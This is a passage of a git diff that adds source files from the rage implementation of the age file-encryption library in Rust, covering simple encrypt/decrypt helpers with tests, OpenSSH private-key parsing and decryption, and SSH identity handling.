Some(Err(DecryptError::ExcessiveWork { + required: log_n, + target: self.target_work_factor, + })); + } + }; + + // This AEAD is not robust, so an attacker could craft a message that decrypts + // under two different keys (meaning two different passphrases) and then use an + // error side-channel in an online decryption oracle to learn if either key is + // correct. This is deemed acceptable because the use case (an online decryption + // oracle) is not recommended, and the security loss is only one bit. This also + // does not bypass any scrypt work, but that work can be precomputed in an online + // oracle scenario. + Some( + aead_decrypt(&enc_key, FILE_KEY_BYTES, &stanza.body) + .map(|mut pt| { + // It's ours! + FileKey::init_with_mut(|file_key| { + file_key.copy_from_slice(&pt); + pt.zeroize(); + }) + }) + .map_err(DecryptError::from), + ) + } +} diff --git a/lib/rage/age/src/simple.rs b/lib/rage/age/src/simple.rs new file mode 100644 index 0000000..dbf3b1b --- /dev/null +++ b/lib/rage/age/src/simple.rs @@ -0,0 +1,107 @@ +use std::io::{Read, Write}; +use std::iter; + +use crate::{ + error::{DecryptError, EncryptError}, + Decryptor, Encryptor, Identity, Recipient, +}; + +#[cfg(feature = "armor")] +use crate::armor::{ArmoredReader, ArmoredWriter, Format}; + +/// Encrypts the given plaintext to the given recipient. +/// +/// To encrypt to more than one recipient, use [`Encryptor::with_recipients`]. +/// +/// This function returns binary ciphertext. To obtain an ASCII-armored text string, use +/// [`encrypt_and_armor`]. +pub fn encrypt(recipient: &impl Recipient, plaintext: &[u8]) -> Result, EncryptError> { + let encryptor = + Encryptor::with_recipients(iter::once(recipient as _)).expect("we provided a recipient"); + + let mut ciphertext = Vec::with_capacity(plaintext.len()); + let mut writer = encryptor.wrap_output(&mut ciphertext)?; + writer.write_all(plaintext)?; + writer.finish()?; + + Ok(ciphertext) +} + +/// Encrypts the given plaintext to the given recipient, and wraps the ciphertext in ASCII +/// armor. +/// +/// To encrypt to more than one recipient, use [`Encryptor::with_recipients`] along with +/// [`ArmoredWriter`]. +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub fn encrypt_and_armor( + recipient: &impl Recipient, + plaintext: &[u8], +) -> Result { + let encryptor = + Encryptor::with_recipients(iter::once(recipient as _)).expect("we provided a recipient"); + + let mut ciphertext = Vec::with_capacity(plaintext.len()); + let mut writer = encryptor.wrap_output(ArmoredWriter::wrap_output( + &mut ciphertext, + Format::AsciiArmor, + )?)?; + writer.write_all(plaintext)?; + writer.finish()?.finish()?; + + Ok(String::from_utf8(ciphertext).expect("is armored")) +} + +/// Decrypts the given ciphertext with the given identity. +/// +/// If the `armor` feature flag is enabled, this will also handle armored age ciphertexts. +/// +/// To attempt decryption with more than one identity, use [`Decryptor`] (as well as +/// [`ArmoredReader`] if the `armor` feature flag is enabled). +pub fn decrypt(identity: &impl Identity, ciphertext: &[u8]) -> Result, DecryptError> { + #[cfg(feature = "armor")] + let decryptor = Decryptor::new_buffered(ArmoredReader::new(ciphertext))?; + + #[cfg(not(feature = "armor"))] + let decryptor = Decryptor::new_buffered(ciphertext)?; + + let mut plaintext = vec![]; + let mut reader = decryptor.decrypt(iter::once(identity as _))?; + reader.read_to_end(&mut plaintext)?; + + Ok(plaintext) +} + +#[cfg(test)] +mod tests { + use super::{decrypt, encrypt}; + use crate::x25519; + + #[cfg(feature = "armor")] + use super::encrypt_and_armor; + + #[test] + fn x25519_round_trip() { + let sk: x25519::Identity = crate::x25519::tests::TEST_SK.parse().unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let test_msg = b"This is a test message. For testing."; + + let encrypted = encrypt(&pk, test_msg).unwrap(); + let decrypted = decrypt(&sk, &encrypted).unwrap(); + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[cfg(feature = "armor")] + #[test] + fn x25519_round_trip_armor() { + let sk: x25519::Identity = crate::x25519::tests::TEST_SK.parse().unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let test_msg = b"This is a test message. For testing."; + + let encrypted = encrypt_and_armor(&pk, test_msg).unwrap(); + assert!(encrypted.starts_with("-----BEGIN AGE ENCRYPTED FILE-----")); + + let decrypted = decrypt(&sk, encrypted.as_bytes()).unwrap(); + assert_eq!(&decrypted[..], &test_msg[..]); + } +} diff --git a/lib/rage/age/src/ssh.rs b/lib/rage/age/src/ssh.rs new file mode 100644 index 0000000..fadab56 --- /dev/null +++ b/lib/rage/age/src/ssh.rs @@ -0,0 +1,577 @@ +//! The "ssh-rsa" and "ssh-ed25519" recipient types, which allow reusing existing SSH keys +//! for encryption with age-encryption.org/v1. +//! +//! These recipient types should only be used for compatibility with existing keys, and +//! native X25519 keys should be preferred otherwise. +//! +//! Note that these recipient types are not anonymous: the encrypted message will include +//! a short 32-bit ID of the public key. + +use aes::{Aes128, Aes192, Aes256}; +use aes_gcm::{AeadCore, Aes256Gcm}; +use age_core::secrecy::{ExposeSecret, SecretString}; +use bcrypt_pbkdf::bcrypt_pbkdf; +use cipher::Unsigned; +use sha2::{Digest, Sha256}; + +use crate::error::DecryptError; + +pub(crate) mod identity; +pub(crate) mod recipient; + +pub use identity::{Identity, UnsupportedKey}; +pub use recipient::{ParseRecipientKeyError, Recipient}; + +pub(crate) const SSH_RSA_KEY_PREFIX: &str = "ssh-rsa"; +pub(crate) const SSH_ED25519_KEY_PREFIX: &str = "ssh-ed25519"; + +pub(super) const SSH_RSA_RECIPIENT_TAG: &str = "ssh-rsa"; +const SSH_RSA_OAEP_LABEL: &str = "age-encryption.org/v1/ssh-rsa"; + +pub(super) const SSH_ED25519_RECIPIENT_TAG: &str = "ssh-ed25519"; +const SSH_ED25519_RECIPIENT_KEY_LABEL: &[u8] = b"age-encryption.org/v1/ssh-ed25519"; + +const TAG_LEN_BYTES: usize = 4; + +type Aes256CbcDec = cbc::Decryptor; +type Aes128Ctr = ctr::Ctr64BE; +type Aes192Ctr = ctr::Ctr64BE; +type Aes256Ctr = ctr::Ctr64BE; + +fn ssh_tag(pubkey: &[u8]) -> [u8; TAG_LEN_BYTES] { + let tag_bytes = Sha256::digest(pubkey); + let mut tag = [0; TAG_LEN_BYTES]; + tag.copy_from_slice(&tag_bytes[..TAG_LEN_BYTES]); + tag +} + +/// OpenSSH-supported ciphers. +#[allow(clippy::enum_variant_names)] +#[derive(Clone, Copy, Debug)] +enum OpenSshCipher { + Aes256Cbc, + Aes128Ctr, + Aes192Ctr, + Aes256Ctr, + Aes256Gcm, +} + +impl OpenSshCipher { + /// Returns the length of the authenticating part of the cipher (the tag of an AEAD). + fn auth_len(self) -> usize { + match self { + OpenSshCipher::Aes256Cbc + | OpenSshCipher::Aes128Ctr + | OpenSshCipher::Aes192Ctr + | OpenSshCipher::Aes256Ctr => 0, + OpenSshCipher::Aes256Gcm => ::TagSize::USIZE, + } + } + + fn decrypt( + self, + kdf: &OpenSshKdf, + p: SecretString, + ct: &[u8], + ) -> Result, DecryptError> { + match self { + OpenSshCipher::Aes256Cbc => decrypt::aes_cbc::(kdf, p, ct), + OpenSshCipher::Aes128Ctr => Ok(decrypt::aes_ctr::(kdf, p, ct)), + OpenSshCipher::Aes192Ctr => Ok(decrypt::aes_ctr::(kdf, p, ct)), + OpenSshCipher::Aes256Ctr => Ok(decrypt::aes_ctr::(kdf, p, ct)), + OpenSshCipher::Aes256Gcm => decrypt::aes_gcm::(kdf, p, ct), + } + } +} + +/// OpenSSH-supported KDFs. +#[derive(Clone, Debug)] +enum OpenSshKdf { + Bcrypt { salt: Vec, rounds: u32 }, +} + +impl OpenSshKdf { + fn derive(&self, passphrase: SecretString, out_len: usize) -> Vec { + match self { + OpenSshKdf::Bcrypt { salt, rounds } => { + let mut output = vec![0; out_len]; + bcrypt_pbkdf(passphrase.expose_secret(), salt, *rounds, &mut output) + .expect("parameters are valid"); + output + } + } + } +} + +/// An encrypted SSH private key. +#[derive(Clone)] +pub struct EncryptedKey { + ssh_key: Vec, + cipher: OpenSshCipher, + kdf: OpenSshKdf, + encrypted: Vec, + filename: Option, +} + +impl EncryptedKey { + /// Decrypts this private key. + pub fn decrypt( + &self, + passphrase: SecretString, + ) -> Result { + let decrypted = self + .cipher + .decrypt(&self.kdf, passphrase, &self.encrypted)?; + + let mut parser = read_ssh::openssh_unencrypted_privkey(&self.ssh_key); + match parser(&decrypted) + .map(|(_, sk)| sk) + .map_err(|_| DecryptError::KeyDecryptionFailed)? + { + Identity::Unencrypted(key) => Ok(key), + Identity::Unsupported(_) => Err(DecryptError::KeyDecryptionFailed), + Identity::Encrypted(_) => unreachable!(), + } + } +} + +mod decrypt { + use aes::cipher::{block_padding::NoPadding, BlockDecryptMut, KeyIvInit, StreamCipher}; + use aes_gcm::aead::{AeadMut, KeyInit}; + use age_core::secrecy::SecretString; + use cipher::generic_array::{ArrayLength, GenericArray}; + + use super::OpenSshKdf; + use crate::error::DecryptError; + + fn derive_key_material, IvSize: ArrayLength>( + kdf: &OpenSshKdf, + passphrase: SecretString, + ) -> (GenericArray, GenericArray) { + let kdf_output = kdf.derive(passphrase, KeySize::USIZE + IvSize::USIZE); + let (key, iv) = kdf_output.split_at(KeySize::USIZE); + ( + GenericArray::from_exact_iter(key.iter().copied()).expect("key is correct length"), + GenericArray::from_exact_iter(iv.iter().copied()).expect("iv is correct length"), + ) + } + + pub(super) fn aes_cbc( + kdf: &OpenSshKdf, + passphrase: SecretString, + ciphertext: &[u8], + ) -> Result, DecryptError> { + let (key, iv) = derive_key_material::(kdf, passphrase); + let cipher = C::new(&key, &iv); + cipher + .decrypt_padded_vec_mut::(ciphertext) + .map_err(|_| DecryptError::KeyDecryptionFailed) + } + + pub(super) fn aes_ctr( + kdf: &OpenSshKdf, + passphrase: SecretString, + ciphertext: &[u8], + ) -> Vec { + let (key, iv) = derive_key_material::(kdf, passphrase); + let mut cipher = C::new(&key, &iv); + let mut plaintext = ciphertext.to_vec(); + cipher.apply_keystream(&mut plaintext); + plaintext + } + + pub(super) fn aes_gcm( + kdf: &OpenSshKdf, + passphrase: SecretString, + ciphertext: &[u8], + ) -> Result, DecryptError> { + let (key, nonce) = derive_key_material::(kdf, passphrase); + let mut cipher = C::new(&key); + cipher + .decrypt(&nonce, ciphertext) + .map_err(|_| DecryptError::KeyDecryptionFailed) + } +} + +mod read_ssh { + use age_core::secrecy::SecretBox; + use curve25519_dalek::edwards::{CompressedEdwardsY, EdwardsPoint}; + use nom::{ + branch::alt, + bytes::complete::{tag, take}, + combinator::{flat_map, map, map_opt, map_parser, map_res, recognize, rest, verify}, + multi::{length_data, length_value}, + number::complete::be_u32, + sequence::{delimited, pair, preceded, terminated, tuple}, + IResult, + }; + use num_traits::Zero; + use rsa::BigUint; + + use super::{ + identity::{UnencryptedKey, UnsupportedKey}, + EncryptedKey, Identity, OpenSshCipher, OpenSshKdf, SSH_ED25519_KEY_PREFIX, + SSH_RSA_KEY_PREFIX, + }; + + /// The SSH `string` [data type](https://tools.ietf.org/html/rfc4251#section-5). + pub(crate) fn string(input: &[u8]) -> IResult<&[u8], &[u8]> { + length_data(be_u32)(input) + } + + /// Recognizes an SSH `string` matching a tag. + #[allow(clippy::needless_lifetimes)] // false positive + pub fn string_tag<'a>(value: &'a str) -> impl Fn(&'a [u8]) -> IResult<&'a [u8], &'a [u8]> { + move |input: &[u8]| length_value(be_u32, tag(value))(input) + } + + /// The SSH `mpint` data type, restricted to non-negative integers. + /// + /// From [RFC 4251](https://tools.ietf.org/html/rfc4251#section-5): + /// ```text + /// Represents multiple precision integers in two's complement format, + /// stored as a string, 8 bits per byte, MSB first. Negative numbers + /// have the value 1 as the most significant bit of the first byte of + /// the data partition. If the most significant bit would be set for + /// a positive number, the number MUST be preceded by a zero byte. + /// Unnecessary leading bytes with the value 0 or 255 MUST NOT be + /// included. The value zero MUST be stored as a string with zero + /// bytes of data. + /// ``` + fn mpint(input: &[u8]) -> IResult<&[u8], BigUint> { + map_opt(string, |bytes| { + if bytes.is_empty() { + Some(BigUint::zero()) + } else { + // Enforce canonicity + let mut non_zero_bytes = bytes; + while non_zero_bytes[0] == 0 { + non_zero_bytes = &non_zero_bytes[1..]; + } + if non_zero_bytes.is_empty() { + // Non-canonical zero + return None; + } + if non_zero_bytes.len() + (non_zero_bytes[0] >> 7) as usize != bytes.len() { + // Negative number or non-canonical positive number + return None; + } + + Some(BigUint::from_bytes_be(bytes)) + } + })(input) + } + + enum CipherResult { + Supported(OpenSshCipher), + Unsupported(String), + } + + /// Parse a cipher and KDF. + fn encryption_header(input: &[u8]) -> IResult<&[u8], Option<(CipherResult, OpenSshKdf)>> { + alt(( + // If either cipher or KDF is None, both must be. + map( + tuple((string_tag("none"), string_tag("none"), string_tag(""))), + |_| None, + ), + map( + tuple(( + alt(( + map(string_tag("aes256-cbc"), |_| { + CipherResult::Supported(OpenSshCipher::Aes256Cbc) + }), + map(string_tag("aes128-ctr"), |_| { + CipherResult::Supported(OpenSshCipher::Aes128Ctr) + }), + map(string_tag("aes192-ctr"), |_| { + CipherResult::Supported(OpenSshCipher::Aes192Ctr) + }), + map(string_tag("aes256-ctr"), |_| { + CipherResult::Supported(OpenSshCipher::Aes256Ctr) + }), + map(string_tag("aes256-gcm@openssh.com"), |_| { + CipherResult::Supported(OpenSshCipher::Aes256Gcm) + }), + map(string, |s| { + CipherResult::Unsupported(String::from_utf8_lossy(s).into_owned()) + }), + )), + map_opt( + preceded( + string_tag("bcrypt"), + map_parser(string, tuple((string, be_u32))), + ), + |(salt, rounds)| { + if salt.is_empty() || rounds == 0 { + // Invalid parameters + None + } else { + Some(OpenSshKdf::Bcrypt { + salt: salt.into(), + rounds, + }) + } + }, + ), + )), + Some, + ), + ))(input) + } + + /// Parses the comment from an OpenSSH privkey and verifies its deterministic padding. + fn comment_and_padding(input: &[u8]) -> IResult<&[u8], &[u8]> { + terminated( + // Comment + string, + // Deterministic padding + verify(rest, |padding: &[u8]| { + padding.iter().enumerate().all(|(i, b)| *b == (i + 1) as u8) + }), + )(input) + } + + /// Internal OpenSSH encoding of an RSA private key. + /// + /// - [OpenSSH serialization code](https://github.com/openssh/openssh-portable/blob/4103a3ec7c68493dbc4f0994a229507e943a86d3/sshkey.c#L3187-L3198) + fn openssh_rsa_privkey(input: &[u8]) -> IResult<&[u8], rsa::RsaPrivateKey> { + delimited( + string_tag(SSH_RSA_KEY_PREFIX), + map_res( + tuple((mpint, mpint, mpint, mpint, mpint, mpint)), + |(n, e, d, _iqmp, p, q)| rsa::RsaPrivateKey::from_components(n, e, d, vec![p, q]), + ), + comment_and_padding, + )(input) + } + + /// Internal OpenSSH encoding of an Ed25519 private key. + /// + /// - [OpenSSH serialization code](https://github.com/openssh/openssh-portable/blob/4103a3ec7c68493dbc4f0994a229507e943a86d3/sshkey.c#L3277-L3283) + fn openssh_ed25519_privkey(input: &[u8]) -> IResult<&[u8], SecretBox<[u8; 64]>> { + delimited( + string_tag(SSH_ED25519_KEY_PREFIX), + map_opt(tuple((string, string)), |(pubkey_bytes, privkey_bytes)| { + if privkey_bytes.len() == 64 && pubkey_bytes == &privkey_bytes[32..64] { + let mut privkey = Box::new([0; 64]); + privkey.copy_from_slice(privkey_bytes); + Some(SecretBox::new(privkey)) + } else { + None + } + }), + comment_and_padding, + )(input) + } + + /// Unencrypted, padded list of private keys. + /// + /// From the [specification](https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key): + /// ```text + /// uint32 checkint + /// uint32 checkint + /// string privatekey1 + /// string comment1 + /// string privatekey2 + /// string comment2 + /// ... + /// string privatekeyN + /// string commentN + /// char 1 + /// char 2 + /// char 3 + /// ... + /// char padlen % 255 + /// ``` + /// + /// Note however that the `string` type for the private keys is wrong; it should be + /// an opaque type, or the composite type `(string, byte[])`. + /// + /// We only support a single key, like OpenSSH. + #[allow(clippy::needless_lifetimes)] + pub(super) fn openssh_unencrypted_privkey<'a>( + ssh_key: &[u8], + ) -> impl FnMut(&'a [u8]) -> IResult<&'a [u8], Identity> { + // We need to own, move, and clone these in order to keep them alive. + let ssh_key_rsa = ssh_key.to_vec(); + let ssh_key_ed25519 = ssh_key.to_vec(); + + preceded( + // Repeated checkint, intended for verifying correct decryption. + // Don't copy this idea into a new protocol; use an AEAD instead. + map_opt(pair(take(4usize), take(4usize)), |(c1, c2)| { + if c1 == c2 { + Some(c1) + } else { + None + } + }), + alt(( + map(openssh_rsa_privkey, move |sk| { + UnencryptedKey::SshRsa(ssh_key_rsa.clone(), Box::new(sk)).into() + }), + map(openssh_ed25519_privkey, move |privkey| { + UnencryptedKey::SshEd25519(ssh_key_ed25519.clone(), privkey).into() + }), + map(string, |key_type| { + UnsupportedKey::from_key_type(String::from_utf8_lossy(key_type).to_string()) + .into() + }), + )), + ) + } + + /// An OpenSSH-formatted private key. + /// + /// - [Specification](https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key) + pub(super) fn openssh_privkey(input: &[u8]) -> IResult<&[u8], Identity> { + flat_map( + pair( + preceded(tag(b"openssh-key-v1\x00"), encryption_header), + preceded( + // We only support a single key, like OpenSSH: + // https://github.com/openssh/openssh-portable/blob/4103a3ec/sshkey.c#L4171 + tag(b"\x00\x00\x00\x01"), + string, // The public key in SSH format + ), + ), + openssh_privkey_inner, + )(input) + } + + /// Encrypted, padded list of private keys. + fn openssh_privkey_inner<'a>( + (encryption, ssh_key): (Option<(CipherResult, OpenSshKdf)>, &'a [u8]), + ) -> impl FnMut(&'a [u8]) -> IResult<&'a [u8], Identity> { + // `PROTOCOL.key` specifies that the encrypted list of private keys is encoded as + // a `string`, but this is incorrect when AEAD ciphertexts are used. For what I + // can only assume are backwards-compatibility reasons, the `string` part encodes + // the ciphertext without tag, and the tag is just appended to the encoding. So + // you can only parse the full data structure by interpreting the encryption + // header. + let expected_remainder = encryption.as_ref().map_or(0, |(cipher_res, _)| { + if let CipherResult::Supported(cipher) = cipher_res { + cipher.auth_len() + } else { + 0 + } + }); + + move |input: &[u8]| match &encryption { + None => map_parser(string, openssh_unencrypted_privkey(ssh_key))(input), + Some((cipher_res, kdf)) => map( + map_parser( + recognize(pair(string, take(expected_remainder))), + preceded(be_u32, rest), + ), + |private| match cipher_res { + CipherResult::Supported(cipher) => EncryptedKey { + ssh_key: ssh_key.to_vec(), + cipher: *cipher, + kdf: kdf.clone(), + encrypted: private.to_vec(), + filename: None, + } + .into(), + CipherResult::Unsupported(cipher) => { + UnsupportedKey::EncryptedSsh(cipher.clone()).into() + } + }, + )(input), + } + } + + /// An SSH-encoded RSA public key. + /// + /// From [RFC 4253](https://tools.ietf.org/html/rfc4253#section-6.6): + /// ```text + /// string "ssh-rsa" + /// mpint e + /// mpint n + /// ``` + /// + /// Returns `None` if the modulus is larger than `max_size`. + pub(super) fn rsa_pubkey( + max_size: usize, + ) -> impl Fn(&[u8]) -> IResult<&[u8], Option> { + move |input| { + preceded( + string_tag(SSH_RSA_KEY_PREFIX), + map_res(tuple((mpint, mpint)), |(exponent, modulus)| { + match rsa::RsaPublicKey::new_with_max_size(modulus, exponent, max_size) { + Err(rsa::Error::ModulusTooLarge) => Ok(None), + res => res.map(Some), + } + }), + )(input) + } + } + + /// An SSH-encoded Ed25519 public key. + /// + /// From [draft-ietf-curdle-ssh-ed25519-02](https://tools.ietf.org/html/draft-ietf-curdle-ssh-ed25519-02#section-4): + /// ```text + /// string "ssh-ed25519" + /// string key + /// ``` + pub(super) fn ed25519_pubkey(input: &[u8]) -> IResult<&[u8], EdwardsPoint> { + preceded( + string_tag(SSH_ED25519_KEY_PREFIX), + map_opt(string, |buf| { + CompressedEdwardsY::from_slice(buf) + .ok() + .and_then(|p| p.decompress()) + }), + )(input) + } +} + +mod write_ssh { + use cookie_factory::{bytes::be_u32, combinator::slice, sequence::tuple, SerializeFn}; + use num_traits::identities::Zero; + use rsa::{traits::PublicKeyParts, BigUint}; + use std::io::Write; + + use super::SSH_RSA_KEY_PREFIX; + + /// Writes the SSH `string` data type. + fn string, W: Write>(value: S) -> impl SerializeFn { + tuple((be_u32(value.as_ref().len() as u32), slice(value))) + } + + /// Writes the SSH `mpint` data type. + fn mpint(value: &BigUint) -> impl SerializeFn { + let mut bytes = value.to_bytes_be(); + + // From RFC 4251 section 5: + // If the most significant bit would be set for a positive number, + // the number MUST be preceded by a zero byte. Unnecessary leading + // bytes with the value 0 or 255 MUST NOT be included. The value + // zero MUST be stored as a string with zero bytes of data. + if value.is_zero() { + // BigUint represents zero as vec![0] + bytes = vec![]; + } else if bytes[0] >> 7 != 0 { + bytes.insert(0, 0); + } + + string(bytes) + } + + /// Writes an SSH-encoded RSA public key. + /// + /// From [RFC 4253](https://tools.ietf.org/html/rfc4253#section-6.6): + /// ```text + /// string "ssh-rsa" + /// mpint e + /// mpint n + /// ``` + pub(super) fn rsa_pubkey(pubkey: &rsa::RsaPublicKey) -> impl SerializeFn { + tuple(( + string(SSH_RSA_KEY_PREFIX), + mpint(pubkey.e()), + mpint(pubkey.n()), + )) + } +} diff --git a/lib/rage/age/src/ssh/identity.rs b/lib/rage/age/src/ssh/identity.rs new file mode 100644 index 0000000..0dd43d2 --- /dev/null +++ b/lib/rage/age/src/ssh/identity.rs @@ -0,0 +1,586 @@ +use age_core::{ + format::{FileKey, Stanza, FILE_KEY_BYTES}, + primitives::{aead_decrypt, hkdf}, + secrecy::{ExposeSecret, SecretBox}, +}; +use base64::prelude::BASE64_STANDARD; +use nom::{ + branch::alt, + bytes::streaming::{is_not, tag}, + character::streaming::{line_ending, newline}, + combinator::{map_opt, opt}, + sequence::{pair, preceded, terminated, tuple}, + IResult, +}; +use rand::rngs::OsRng; +use rsa::{pkcs1::DecodeRsaPrivateKey, Oaep}; +use sha2::{Digest, Sha256, Sha512}; +use std::fmt; +use std::io; +use x25519_dalek::{PublicKey as X25519PublicKey, StaticSecret}; +use zeroize::Zeroize; + +use super::{ + read_ssh, ssh_tag, write_ssh, EncryptedKey, SSH_ED25519_RECIPIENT_KEY_LABEL, + SSH_ED25519_RECIPIENT_TAG, SSH_RSA_OAEP_LABEL, SSH_RSA_RECIPIENT_TAG, TAG_LEN_BYTES, +}; +use crate::{ + error::DecryptError, + fl, + util::read::{base64_arg, wrapped_str_while_encoded}, + wfl, wlnfl, Callbacks, +}; + +/// An SSH private key for decrypting an age file. +pub enum UnencryptedKey { + /// An ssh-rsa private key. + SshRsa(Vec, Box), + /// An ssh-ed25519 key pair. + SshEd25519(Vec, SecretBox<[u8; 64]>), +} + +impl Clone for UnencryptedKey { + fn clone(&self) -> Self { + match self { + Self::SshRsa(ssh_key, sk) => Self::SshRsa(ssh_key.clone(), sk.clone()), + Self::SshEd25519(ssh_key, privkey) => Self::SshEd25519( + ssh_key.clone(), + SecretBox::new({ + let mut cloned_privkey = Box::new([0; 64]); + cloned_privkey.copy_from_slice(privkey.expose_secret()); + cloned_privkey + }), + ), + } + } +} + +impl UnencryptedKey { + /// Returns: + /// - `Some(Ok(file_key))` on success. + /// - `Some(Err(e))` if a decryption error occurs. + /// - `None` if the [`Stanza`] does not match this key. + pub(crate) fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + match (self, stanza.tag.as_str()) { + (UnencryptedKey::SshRsa(ssh_key, sk), SSH_RSA_RECIPIENT_TAG) => { + let tag = base64_arg::<_, TAG_LEN_BYTES, 6>(stanza.args.get(0)?)?; + if ssh_tag(ssh_key) != tag { + return None; + } + + let mut rng = OsRng; + + // A failure to decrypt is fatal, because we assume that we won't + // encounter 32-bit collisions on the key tag embedded in the header. + Some( + sk.decrypt_blinded( + &mut rng, + Oaep::new_with_label::(SSH_RSA_OAEP_LABEL), + &stanza.body, + ) + .map_err(DecryptError::from) + .and_then(|mut pt| { + // It's ours! + FileKey::try_init_with_mut(|file_key| { + let ret = if pt.len() == file_key.len() { + file_key.copy_from_slice(&pt); + Ok(()) + } else { + Err(DecryptError::DecryptionFailed) + }; + pt.zeroize(); + ret + }) + }), + ) + } + (UnencryptedKey::SshEd25519(ssh_key, privkey), SSH_ED25519_RECIPIENT_TAG) => { + let tag = base64_arg::<_, TAG_LEN_BYTES, 6>(stanza.args.get(0)?)?; + if ssh_tag(ssh_key) != tag { + return None; + } + if stanza.body.len() != crate::x25519::ENCRYPTED_FILE_KEY_BYTES { + return Some(Err(DecryptError::InvalidHeader)); + } + + let epk = + base64_arg::<_, { crate::x25519::EPK_LEN_BYTES }, 33>(stanza.args.get(1)?)? + .into(); + + let sk: StaticSecret = { + let mut sk = [0; 32]; + // privkey format is seed || pubkey + sk.copy_from_slice(&Sha512::digest(&privkey.expose_secret()[0..32])[0..32]); + sk.into() + }; + let pk = X25519PublicKey::from(&sk); + + let tweak: StaticSecret = + hkdf(ssh_key, SSH_ED25519_RECIPIENT_KEY_LABEL, &[]).into(); + let shared_secret = tweak + .diffie_hellman(&X25519PublicKey::from(*sk.diffie_hellman(&epk).as_bytes())); + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(pk.as_bytes()); + + let enc_key = hkdf( + &salt, + SSH_ED25519_RECIPIENT_KEY_LABEL, + shared_secret.as_bytes(), + ); + + // A failure to decrypt is fatal, because we assume that we won't + // encounter 32-bit collisions on the key tag embedded in the header. + Some( + aead_decrypt(&enc_key, FILE_KEY_BYTES, &stanza.body) + .map_err(DecryptError::from) + .map(|mut pt| { + // It's ours! + FileKey::init_with_mut(|file_key| { + file_key.copy_from_slice(&pt); + pt.zeroize(); + }) + }), + ) + } + _ => None, + } + } +} + +/// A key that we know how to parse, but that we do not support. +/// +/// The Display impl provides details for each unsupported key as to why we don't support +/// it, and how a user can migrate to a supported key. +#[derive(Clone, Debug, PartialEq, Eq)] +pub enum UnsupportedKey { + /// An encrypted `PEM` key. + EncryptedPem, + /// An encrypted SSH key using a specific cipher. + EncryptedSsh(String), + /// An SSH key type we believe to be stored on a hardware security key. + Hardware(String), + /// An SSH key type that we do not support. + Type(String), +} + +impl UnsupportedKey { + pub(crate) fn from_key_type(key_type: String) -> Self { + if key_type.starts_with("sk-ssh-") { + Self::Hardware(key_type) + } else { + Self::Type(key_type) + } + } + + /// Prints details about this unsupported key. + pub fn display(&self, f: &mut fmt::Formatter, filename: Option<&str>) -> fmt::Result { + if let Some(name) = filename { + wlnfl!(f, "ssh-unsupported-key", name = name)?; + writeln!(f)?; + } + match self { + UnsupportedKey::EncryptedPem => wfl!( + f, + "ssh-insecure-key-format", + change_passphrase = "ssh-keygen -o -p", + gen_new = "ssh-keygen -o", + )?, + UnsupportedKey::EncryptedSsh(cipher) => { + let new_issue = format!( + "https://github.com/str4d/rage/issues/new?title=Support%20OpenSSH%20key%20encryption%20cipher%20{}", + cipher, + ); + wfl!( + f, + "ssh-unsupported-cipher", + cipher = cipher.as_str(), + new_issue = new_issue.as_str(), + )?; + } + UnsupportedKey::Hardware(key_type) => wfl!( + f, + "ssh-unsupported-security-key", + key_type = key_type.as_str(), + age_plugin_yubikey_url = "https://str4d.xyz/age-plugin-yubikey", + )?, + UnsupportedKey::Type(key_type) => { + wfl!(f, "ssh-unsupported-key-type", key_type = key_type.as_str())? + } + } + Ok(()) + } +} + +/// An SSH private key for decrypting an age file. +#[derive(Clone)] +pub enum Identity { + /// An unencrypted key. + Unencrypted(UnencryptedKey), + /// An encrypted key. + Encrypted(EncryptedKey), + /// A key that we know how to parse, but that we do not support. + Unsupported(UnsupportedKey), +} + +impl From for Identity { + fn from(key: UnencryptedKey) -> Self { + Identity::Unencrypted(key) + } +} + +impl From for Identity { + fn from(key: EncryptedKey) -> Self { + Identity::Encrypted(key) + } +} + +impl From for Identity { + fn from(key: UnsupportedKey) -> Self { + Identity::Unsupported(key) + } +} + +impl Identity { + /// Parses one or more identities from a buffered input containing valid UTF-8. + /// + /// `filename` is the path to the file that the input is reading from, if any. + pub fn from_buffer(mut data: R, filename: Option) -> io::Result { + let mut buf = String::new(); + loop { + match ssh_identity(&buf) { + Ok((_, mut identity)) => { + // If we know the filename, cache it. + if let Identity::Encrypted(key) = &mut identity { + key.filename = filename; + } + + break Ok(identity); + } + Err(nom::Err::Incomplete(nom::Needed::Size(_))) => { + if data.read_line(&mut buf)? == 0 { + break Err(io::Error::new( + io::ErrorKind::Interrupted, + "incomplete SSH identity in file", + )); + }; + } + Err(_) => { + break Err(io::Error::new( + io::ErrorKind::InvalidData, + "invalid SSH identity", + )); + } + } + } + } + + /// Wraps this identity with the provided callbacks, so that if this is an encrypted + /// identity, it can potentially be decrypted. + pub fn with_callbacks(self, callbacks: C) -> impl crate::Identity { + DecryptableIdentity { + identity: self, + callbacks, + } + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + match self { + Identity::Unencrypted(key) => key.unwrap_stanza(stanza), + Identity::Encrypted(_) | Identity::Unsupported(_) => None, + } + } +} + +struct DecryptableIdentity { + identity: Identity, + callbacks: C, +} + +impl crate::Identity for DecryptableIdentity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + match &self.identity { + Identity::Unencrypted(key) => key.unwrap_stanza(stanza), + Identity::Encrypted(enc) => { + let passphrase = self.callbacks.request_passphrase(&fl!( + "ssh-passphrase-prompt", + filename = enc.filename.as_deref().unwrap_or_default() + ))?; + let decrypted = match enc.decrypt(passphrase) { + Ok(d) => d, + Err(e) => return Some(Err(e)), + }; + decrypted.unwrap_stanza(stanza) + } + Identity::Unsupported(_) => None, + } + } +} + +fn rsa_pem_encryption_header(input: &str) -> IResult<&str, &str> { + preceded( + tuple((tag("Proc-Type: 4,ENCRYPTED"), newline, tag("DEK-Info: "))), + terminated(is_not("\n"), newline), + )(input) +} + +fn rsa_privkey(input: &str) -> IResult<&str, Identity> { + preceded( + pair(tag("-----BEGIN RSA PRIVATE KEY-----"), line_ending), + terminated( + map_opt( + pair( + opt(terminated(rsa_pem_encryption_header, 